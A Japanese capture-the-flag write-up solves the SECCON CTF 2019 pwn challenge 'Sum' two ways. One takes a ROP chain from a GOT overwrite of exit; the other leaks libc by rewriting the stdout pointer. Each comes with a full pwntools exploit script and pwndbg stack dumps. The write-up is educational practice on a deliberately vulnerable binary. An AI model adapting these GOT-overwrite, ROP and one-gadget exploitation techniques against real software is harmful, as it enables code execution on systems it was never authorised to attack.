0: 参考
【Sumの非想定解についての参考】
1: イントロ
いつぞや行われたSECCON CTF 2019の解き直しをする
今回はpwn問題 "Sum"
作問者様のTwitter情報だとROPをするのが想定解であるようだ
それが一番手っ取り早いし なんで気づかなかったのか不思議+情けないが
なんとかして既知のアドレスを利用した書き換えで行けないかと本番では粘ってしまった
実際ROPを使わない非想定解も存在する
今回はその両方の解法をメモしておく
2: 想定解 = ROP
入力値の6つ目に書き換え対象アドレスを入れると任意のアドレスを任意の値に書き換えることができるというのはわかっており
どうやってlibc baseをleakしようかで悩んでいた
結論からいうと
関数のプロローグのところでベースポインタを退避する処理を飛ばせば呼び出しの直前にスタックの一番上に積まれていた値がRAとなる
そして本来のRAは退避されたベースポインタとして扱われることになる
exit()のGOTをmain+1に書き換え、exit()を呼ぶ(入力自体は6つできるが6つ入力するとexitされる)と
その際に上に積まれているのは順にRA、そしてlocal48すなわち入力値のひとつめであるから
これがmain()のスタックフレームのRAとして扱われROPが可能になる
実際、exit()->main()に飛ぶとスタックは以下のようになる
pwndbg> telescope 10 00:0000│ rsp 0x7ffec9732a58 —▸ 0x7fae1c990170 ◂— 0x0 01:0008│ 0x7ffec9732a60 ◂— 0x0 02:0010│ 0x7ffec9732a68 —▸ 0x40083d (read_ints+80) ◂— cmp eax, 1 03:0018│ 0x7ffec9732a70 —▸ 0x601048 (_GLOBAL_OFFSET_TABLE_+72) —▸ 0x400904 (main+1) ◂— mov rbp, rsp 04:0020│ 0x7ffec9732a78 —▸ 0x7ffec9732aa0 ◂— 0xdeadbeef 05:0028│ 0x7ffec9732a80 ◂— 0x600000006 06:0030│ 0x7ffec9732a88 ◂— 0x92da2c56ed367b00 07:0038│ 0x7ffec9732a90 —▸ 0x7ffec9732ae0 —▸ 0x4009e0 (__libc_csu_init) ◂— push r15 08:0040│ rbp 0x7ffec9732a98 —▸ 0x4009ac (main+169) ◂— mov rax, qword ptr [rbp - 0x10] 09:0048│ 0x7ffec9732aa0 ◂— 0xdeadbeef
退避されたベースポインタには本来のRAが
RAには仕込んだ値がセットされていることがわかる
これを利用してROPをしてlibc baseをleakして
再びGOTを書き換えれば終わる話
但し(普段よく使うイメージのある)onegadgetの1番目のconstraintsは$rsp+0x40==NULLであり
何の下準備もしていない状態でのスタックの状態は以下の通り
pwndbg> telescope $rsp 10 00:0000│ rsp 0x7fff7885e108 —▸ 0x4009ac (main+169) ◂— mov rax, qword ptr [rbp - 0x10] 01:0008│ 0x7fff7885e110 ◂— 0x1 02:0010│ 0x7fff7885e118 ◂— 0xffffffffffffffff 03:0018│ 0x7fff7885e120 ◂— 0x1 04:0020│ 0x7fff7885e128 ◂— 0xffffffffffffffff 05:0028│ 0x7fff7885e130 ◂— 0x7f26694c02da 06:0030│ 0x7fff7885e138 —▸ 0x601048 (_GLOBAL_OFFSET_TABLE_+72) —▸ 0x7f2669ac1322 (do_system+1138) ◂— mov rax, qword ptr [rip + 0x39bb7f] 07:0038│ 0x7fff7885e140 ◂— 0x0 08:0040│ 0x7fff7885e148 ◂— 0x879e693f17fa6100 09:0048│ rbp 0x7fff7885e150 ◂— 0xfffffffffebfd080
条件を満たしていない
onegadgetの0番目はrcx==0であるためこれを使ってみたら、movapsの0x10byte alignに引っかかった
ということでpopを2回するgadgetを噛ませてスタックを調整してからROPすると成功する
本当に何でこれ本番で思いつかなかったんだろう
exploitは以下の通り
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "./sum" rhp1 = {"host":"sum.chal.seccon.jp","port":10001} rhp2 = {'host':"localhost",'port':12300} context(os='linux',arch='amd64') binf = ELF(FILENAME) libc = ELF("./libc.so") onegadgets = [0x4f2c5,0x4f322,0x10a38c] main_addr = 0x400903 pop_rdi_gad = 0x400a43 #in "sum" ret_gad = 0x4005ee pop_pop_gad = 0x400a41 def send(conn,n1,n2,n3,n4,n5,n6=0): conn.recvuntil("0") if n6==0: conn.sendline(str(n1)+" "+str(n2)+" "+str(n3)+" "+str(n4)+" "+str(n5)) else: conn.sendline(str(n1)+" "+str(n2)+" "+str(n3)+" "+str(n4)+" "+str(n5)+" "+str(n6)) def exploit(conn): n1 = pop_rdi_gad #need in order to remove RA from exit() n2 = binf.got["setvbuf"] n3 = binf.plt["puts"] n4 = main_addr + 0x1 #overwrite GOT of exit and invoke ROP chain send(conn,n1, n2, n3, n4, -(n1+n2+n3+n4) + pop_rdi_gad - binf.got["exit"],binf.got["exit"]) #leak libc base by puts(GOT["setvbuf"]) conn.recvuntil("0\n") setvbuf_addr = unpack(conn.recvline()[:-1].ljust(8,'\x00')) print("[+]setvbuf: "+hex(setvbuf_addr)) libc_base = setvbuf_addr - libc.functions["setvbuf"].address print("[+]libc base: "+hex(libc_base)) print("[+]onegadget1: "+hex(libc_base + onegadgets[1])) print("[+]onegadget2: "+hex(libc_base + onegadgets[2])) #invoke onegadget n1 = 1 #hoge n2 = onegadgets[0]+libc_base send(conn,n1,n2,-n1,-n2,pop_pop_gad - binf.got["exit"], binf.got["exit"]) if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ conn = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": conn = remote(rhp1["host"],rhp1["port"]) else: conn = remote(rhp2['host'],rhp2['port']) exploit(conn) conn.interactive()
3: 非想定解 = stdout書き換え
まぁ非想定解といっても、write-what-whereである以上解法は一つにはなりえないと思うため非想定というのもなんなんですが
自分が本番中にやったのは、GOT以外の既知のアドレスを書き換えてなんとかlibcをleakできないかということ
そしてその際に頭の中にあったのは
以前HITCONのbaby_tcacheで使ったリークテクニック
このテクをそのまま使うわけではないが、libcのstdout内をごにょごにょしてどうにかできないかを考えていた
実際には本番中に成功できなかったが悪くはなかったっぽい
pwndbg> p &stdin $58 = (struct _IO_FILE **) 0x601060 <stdout@@GLIBC_2.2.5> pwndbg> x/30gx 0x601060 0x601060 <stdout@@GLIBC_2.2.5>: 0x00007fe82e798760 0x0000000000000000 0x601070 <stdin@@GLIBC_2.2.5>: 0x00007fe82e797a00 0x0000000000000000 pwndbg> x/30gx 0x7fe82e798760 0x7fe82e798760 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007fe82e7987e3 0x7fe82e798770 <_IO_2_1_stdout_+16>: 0x00007fe82e7987e3 0x00007fe82e7987e3 0x7fe82e798780 <_IO_2_1_stdout_+32>: 0x00007fe82e7987e3 0x00007fe82e7987e3 0x7fe82e798790 <_IO_2_1_stdout_+48>: 0x00007fe82e7987e3 0x00007fe82e7987e3 0x7fe82e7987a0 <_IO_2_1_stdout_+64>: 0x00007fe82e7987e4 0x0000000000000000 0x7fe82e7987b0 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000 0x7fe82e7987c0 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007fe82e797a00 0x7fe82e7987d0 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff 0x7fe82e7987e0 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x00007fe82e7998c0 0x7fe82e7987f0 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000 0x7fe82e798800 <_IO_2_1_stdout_+160>: 0x00007fe82e7978c0 0x0000000000000000 0x7fe82e798810 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000 0x7fe82e798820 <_IO_2_1_stdout_+192>: 0x00000000ffffffff 0x0000000000000000 0x7fe82e798830 <_IO_2_1_stdout_+208>: 0x0000000000000000 0x00007fe82e7942a0
このとき_IO_2_1_stdout_+0x10には_IO_2_1_stdout_-0x83のアドレスが入っている
よってsumバイナリ内のstdoutの値を+0x10だけ書き換えて
かつsetvbufをputsに変えればこのアドレスをleakすることができる
setvbufが呼ばれているのは以下のbackgraceの示すとおり_start()の中から
───────────────────────────────────[ BACKTRACE ]─────────────────────────────────── ► f 0 7ffff7a652f0 setvbuf f 1 4008c4 setup+53 f 2 400a2d __libc_csu_init+77 f 3 7ffff7a05b28 __libc_start_main+120
よってsetvbufを書き換えた後exit()を_start()に書き換えて再びsetvbuf()=puts()を呼ぶことでlibc_baseをleakする
あとは先程と同様にGOTをonegadgetで書き換えれば良い
(ここではノーチェンジでgadget[2]が使えた)
exploitは以下の通り
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "./sum" rhp1 = {"host":"sum.chal.seccon.jp","port":10001} rhp2 = {'host':"localhost",'port':12300} context(os='linux',arch='amd64') binf = ELF(FILENAME) libc = ELF("./libc.so") onegadgets = [0x4f2c5,0x4f322,0x10a38c] main_addr = 0x400903 pop_rdi_gad = 0x400a43 #in "sum" ret_gad = 0x4005ee pop_pop_gad = 0x400a41 def send(conn,n1,n2,n3,n4,n5,n6=0): conn.recvuntil("0") if n6==0: conn.sendline(str(n1)+" "+str(n2)+" "+str(n3)+" "+str(n4)+" "+str(n5)) else: conn.sendline(str(n1)+" "+str(n2)+" "+str(n3)+" "+str(n4)+" "+str(n5)+" "+str(n6)) def exploit(conn): #overwrite setvbuf with puts, stdout with stdout+0x10, and exit with _start send(conn,1,-1,1,-1,main_addr - binf.got["exit"],binf.got["exit"]) send(conn,1,-1,1,-1,binf.plt["puts"] - binf.got["setvbuf"], binf.got["setvbuf"]) send(conn,1,-1,1,-1,-binf.symbols["stdout"]-0x7 + 0x70<<(8*0x7), binf.symbols["stdout"]-0x7) send(conn,1,-1,1,-1,binf.functions["_start"].address - binf.got["exit"], binf.got["exit"]) #leak libc base print(conn.recvuntil("2 3 4 0\n")) print(conn.recvuntil("2 3 4 0\n")) print(conn.recvuntil("2 3 4 0\n")) stdoutx83 = unpack(conn.recvline()[:-1].ljust(8,'\x00')) stdout_addr = stdoutx83-0x83 print("[+]_IO_2_1_stdout_: "+hex(stdout_addr)) libc_base = stdout_addr - libc.symbols["_IO_2_1_stdout_"] print("[+]libc_base: "+hex(libc_base)) #overwrite GOT with onegadget and invoke it send(conn,1,-1,1,-1,onegadgets[2]+libc_base - binf.got["exit"], binf.got["exit"]) if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ conn = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": conn = remote(rhp1["host"],rhp1["port"]) else: conn = remote(rhp2['host'],rhp2['port']) exploit(conn) conn.interactive()
4: アウトロ
時間内に、それもかなり短時間で解かねばならない問題だった
もっと精進する必要がある
SECCON2019の他の問題についてはこちら
続く